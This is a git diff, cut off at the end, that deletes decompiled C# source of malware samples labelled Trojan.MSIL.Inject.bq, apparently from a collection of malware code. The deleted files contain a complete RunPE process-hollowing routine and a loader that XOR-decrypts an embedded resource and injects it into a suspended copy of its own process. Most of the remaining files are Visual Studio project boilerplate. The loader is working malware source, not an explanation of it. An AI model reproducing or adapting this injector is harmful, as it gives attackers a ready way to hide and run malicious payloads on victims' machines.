-EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/x86.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/x86.cs deleted file mode 100644 index b48df852..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14/x86.cs +++ /dev/null @@ -1,170 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.x86 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-12dc665d332540a2debcd4a6a7aef85cfaa2832a4aa90b7888d45a6ab2ae5e14.exe - -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Security; -using System.Text; - -namespace Cursor -{ - public class x86 - { - private static readonly int[] prot = new int[8] - { - 1, - 16, - 2, - 32, - 4, - 64, - 4, - 64 - }; - - [DebuggerNonUserCode] - public x86() - { - } - - public static void RunPE(byte[] bytes, string surrogateProcess) - { - int int32 = BitConverter.ToInt32(bytes, 60); - int int16 = (int) BitConverter.ToInt16(bytes, checked (int32 + 6)); - IntPtr size1 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 84))); - byte[] sInfo = new byte[68]; - IntPtr[] pInfo = new IntPtr[4]; - IntPtr num1; - if (!x86.Win32.CreateProcess((string) null, new StringBuilder(surrogateProcess), num1, num1, false, 4, num1, (string) null, sInfo, pInfo)) - return; - uint[] ctxt = new uint[179]; - ctxt[0] = 65538U; - IntPtr bufr; - IntPtr numRead; - if (x86.Win32.GetThreadContext(pInfo[1], ctxt) && x86.Win32.ReadProcessMemory(pInfo[0], new IntPtr(checked ((long) ctxt[41] + 8L)), ref bufr, new IntPtr(4), ref numRead) && x86.Win32.NtUnmapViewOfSection(pInfo[0], bufr) == 0U) - { - IntPtr hProc1 = pInfo[0]; - IntPtr num2 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 52))); - IntPtr addr1 = num2; - IntPtr num3 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 80))); - IntPtr size2 = num3; - IntPtr baseAddr1 = x86.Win32.VirtualAllocEx(hProc1, addr1, size2, 12288, 64); - bool flag = x86.Win32.WriteProcessMemory(pInfo[0], baseAddr1, bytes, size1, ref numRead); - int num4 = checked (int16 - 1); - int num5 = 0; - while (num5 <= num4) - { - int[] dst1 = new int[10]; - Buffer.BlockCopy((Array) bytes, checked (int32 + 248 + num5 * 40), (Array) dst1, 0, 40); - byte[] dst2 = new byte[checked (dst1[4] - 1 + 1)]; - Buffer.BlockCopy((Array) bytes, dst1[5], (Array) dst2, 0, dst2.Length); - IntPtr hProc2 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr baseAddr2 = num3; - byte[] buff = dst2; - num2 = new IntPtr(dst2.Length); - IntPtr size3 = num2; - ref IntPtr local1 = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc2, baseAddr2, buff, size3, ref local1); - IntPtr hProc3 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr addr2 = num3; - num2 = new IntPtr(dst1[2]); - IntPtr size4 = num2; - int newProt = x86.prot[dst1[9] >> 29 & 7]; - int num6; - ref int local2 = ref num6; - flag = x86.Win32.VirtualProtectEx(hProc3, addr2, size4, newProt, ref local2); - checked { ++num5; } - } - IntPtr hProc4 = pInfo[0]; - num3 = new IntPtr(checked ((long) ctxt[41] + 8L)); - IntPtr baseAddr3 = num3; - byte[] bytes1 = BitConverter.GetBytes(baseAddr1.ToInt32()); - num2 = new IntPtr(4); - IntPtr size5 = num2; - ref IntPtr local = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc4, baseAddr3, bytes1, size5, ref local); - ctxt[44] = checked ((uint) (baseAddr1.ToInt32() + BitConverter.ToInt32(bytes, int32 + 40))); - x86.Win32.SetThreadContext(pInfo[1], ctxt); - } - x86.Win32.ResumeThread(pInfo[1]); - } - - [SuppressUnmanagedCodeSecurity] - private class Win32 - { - [DebuggerNonUserCode] - public Win32() - { - } - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool CreateProcess( - string appName, - StringBuilder commandLine, - IntPtr procAttr, - IntPtr thrAttr, - [MarshalAs(UnmanagedType.Bool)] bool inherit, - int creation, - IntPtr env, - string curDir, - byte[] sInfo, - IntPtr[] pInfo); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("ntdll")] - public static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool ReadProcessMemory( - IntPtr hProc, - IntPtr baseAddr, - ref IntPtr bufr, - IntPtr bufrSize, - ref IntPtr numRead); - - [DllImport("kernel32")] - public static extern int ResumeThread(IntPtr hThr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool SetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("kernel32")] - public static extern IntPtr VirtualAllocEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int allocType, - int prot); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool VirtualProtectEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int newProt, - ref int oldProt); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool WriteProcessMemory( - IntPtr hProc, - IntPtr baseAddr, - byte[] buff, - IntPtr size, - ref IntPtr numRead); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/AssemblyInfo.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/AssemblyInfo.cs deleted file mode 100644 index 6b00be35..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("Cursor")] -[assembly: AssemblyCopyright("Copyright © 2010")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyDescription("1")] -[assembly: AssemblyProduct("Cursor")] -[assembly: ComVisible(false)] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Module1.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Module1.cs deleted file mode 100644 index c5728266..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Module1.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.Module1 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; - -namespace Cursor -{ - [StandardModule] - internal sealed class Module1 - { - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType); - - [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SizeofResource(IntPtr hModule, IntPtr hResInfo); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo); - - [STAThread] - public static void Main() - { - string moduleName = Process.GetCurrentProcess().MainModule.ModuleName; - IntPtr moduleHandle = Module1.GetModuleHandle(ref moduleName); - IntPtr resource = Module1.FindResource(moduleHandle, "69", "GAY"); - IntPtr source = Module1.LoadResource(moduleHandle, resource); - int length = Module1.SizeofResource(moduleHandle, resource); - byte[] numArray = new byte[checked (length - 1 + 1)]; - Marshal.Copy(source, numArray, 0, length); - int int32 = BitConverter.ToInt32(numArray, checked (numArray.Length - 4)); - byte[] bytes = (byte[]) Utils.CopyArray((Array) numArray, (Array) new byte[checked (numArray.Length - 3 + 1)]); - Random random = new Random(int32); - byte[] buffer = new byte[checked (bytes.Length - 1 + 1)]; - random.NextBytes(buffer); - int num = checked (bytes.Length - 1); - int index = 0; - while (index <= num) - { - bytes[index] = (byte) ((int) bytes[index] ^ (int) buffer[index]); - checked { ++index; } - } - x86.RunPE(bytes, Process.GetCurrentProcess().MainModule.FileName); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyApplication.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyApplication.cs deleted file mode 100644 index 93af6218..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyApplication.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyApplication -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - [DebuggerNonUserCode] - public MyApplication() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyComputer.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyComputer.cs deleted file mode 100644 index d2b7b557..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyComputer -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyProject.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyProject.cs deleted file mode 100644 index d4d8db00..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MyProject.cs +++ /dev/null @@ -1,194 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyProject -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Cursor.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MySettings.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MySettings.cs deleted file mode 100644 index c1266ab4..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MySettings.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettings -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MySettingsProperty.cs deleted file mode 100644 index 541431e3..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettingsProperty -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [DebuggerNonUserCode] - [HideModuleName] - [StandardModule] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/Resources/Resources.cs deleted file mode 100644 index 0fb2a7e2..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.Resources.Resources -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Cursor.My.Resources -{ - [HideModuleName] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [DebuggerNonUserCode] - [CompilerGenerated] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Cursor.My.Resources.Resources.resourceMan, (object) null)) - Cursor.My.Resources.Resources.resourceMan = new ResourceManager("Cursor.Resources", typeof (Cursor.My.Resources.Resources).Assembly); - return Cursor.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Cursor.My.Resources.Resources.resourceCulture; - set => Cursor.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Resources.resx b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Trojan.MSIL.Inject.bq.csproj b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Trojan.MSIL.Inject.bq.csproj deleted file mode 100644 index b949eb3a..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Trojan.MSIL.Inject.bq.csproj +++ /dev/null @@ -1,52 +0,0 @@ - - - - - Debug - AnyCPU - {5128957C-93B1-40EE-A44D-33A85084B289} - WinExe - Cursor - 1.0.0.0 - Cursor - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Trojan.MSIL.Inject.bq.sln b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Trojan.MSIL.Inject.bq.sln deleted file mode 100644 index 2b34acf2..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/Trojan.MSIL.Inject.bq.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.csproj", "{5128957C-93B1-40EE-A44D-33A85084B289}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {5128957C-93B1-40EE-A44D-33A85084B289}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {5128957C-93B1-40EE-A44D-33A85084B289}.Debug|Any CPU.Build.0 = Debug|Any CPU - {5128957C-93B1-40EE-A44D-33A85084B289}.Release|Any CPU.ActiveCfg = Release|Any CPU - {5128957C-93B1-40EE-A44D-33A85084B289}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/x86.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/x86.cs deleted file mode 100644 index d08fa8a5..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d/x86.cs +++ /dev/null @@ -1,170 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.x86 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.bq-67613154dd98d80190c687cbae943551822d56427c2fb063c0c7a7e2b640fa5d.exe - -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Security; -using System.Text; - -namespace Cursor -{ - public class x86 - { - private static readonly int[] prot = new int[8] - { - 1, - 16, - 2, - 32, - 4, - 64, - 4, - 64 - }; - - [DebuggerNonUserCode] - public x86() - { - } - - public static void RunPE(byte[] bytes, string surrogateProcess) - { - int int32 = BitConverter.ToInt32(bytes, 60); - int int16 = (int) BitConverter.ToInt16(bytes, checked (int32 + 6)); - IntPtr size1 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 84))); - byte[] sInfo = new byte[68]; - IntPtr[] pInfo = new IntPtr[4]; - IntPtr num1; - if (!x86.Win32.CreateProcess((string) null, new StringBuilder(surrogateProcess), num1, num1, false, 4, num1, (string) null, sInfo, pInfo)) - return; - uint[] ctxt = new uint[179]; - ctxt[0] = 65538U; - IntPtr bufr; - IntPtr numRead; - if (x86.Win32.GetThreadContext(pInfo[1], ctxt) && x86.Win32.ReadProcessMemory(pInfo[0], new IntPtr(checked ((long) 